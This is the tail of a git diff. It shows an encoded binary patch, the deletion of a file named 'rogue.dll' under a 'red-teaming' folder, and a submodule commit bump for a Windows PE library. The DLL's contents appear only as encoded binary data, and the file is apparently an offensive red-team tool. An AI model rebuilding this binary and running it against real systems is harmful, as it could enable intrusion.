z7`r`1Kd6qQ17H|8I+ps-7l??UV~uzU?IMw#-EMs9xAv?Pi79;=S22zE@1Q!WW(qvV zOj~a{L;twxFBpACO@C~wbZp)5vG@zj>A>H{XCb0b`817O{ewhf2i4KWm6a9Gk<_03 zV$$kpX^IA$wV{net5?IsiRGg#A8azwjpspi?3WX4zr~~ff&^JM&y1VARE}abwNF1? zZ2VijtlW5>`W!f@jxo>FR@N^?Ge`R2Y??gWFOTUzAE|xpyh~%!;?djuKp%W(^Z%ea z#+Yr6P3KEI-z~P(M=?!mD?8uqT=)|6bWk0~Os;O4m>)MWd1Uf{{;3pftM{d$ZTm-! z{R@VF(eNBIvC%O6t=xtgTQcopm;azT+SpKy7%*F$gT!h%T4%FkuVCzB=UTw5IP8aK zBpT~uX;2;GSWR`bab@KejE}PBh;R+k_$F38Ncga9qJ!cN2`nFANSii zXz|$fJ)N6z9hk;;oX0Gmv`({m$TC0Mm^*{&ST<|cgju_- z{Tn79)=cef_aHSxb7*`Wua&8e7XP8iSCfX1{&gAVP9nnF9Dml-{~eJXJMupYW&N{>0Gpcq|&S@TBMR%?Rz#r^>FMow7Aa zZ5z(*d+|PH!$Hr7V{N?LJ5H73PmuPQUHYBI#}Wdk;FaEMJdeWLu%XNt^I0v-iTG?Z T$jL(dk@(E|SX%$C+yDL#T<#k6 diff --git a/red-teaming/rogue-dot-net/rogue.dll b/red-teaming/rogue-dot-net/rogue.dll deleted file mode 100644 index f893649401bb06849c5a47e49f49604379c6c021..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5632 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 Z`W1ZH8SrF&H}9 diff --git a/windows/PE-library b/windows/PE-library index fcfe1e3..fb7aeee 160000 --- a/windows/PE-library +++ b/windows/PE-library @@ -1 +1 @@ -Subproject commit fcfe1e3a40f726e86a1f89e9627055a43b2604de +Subproject commit fb7aeee8438b959099b01e38eadce917849ed488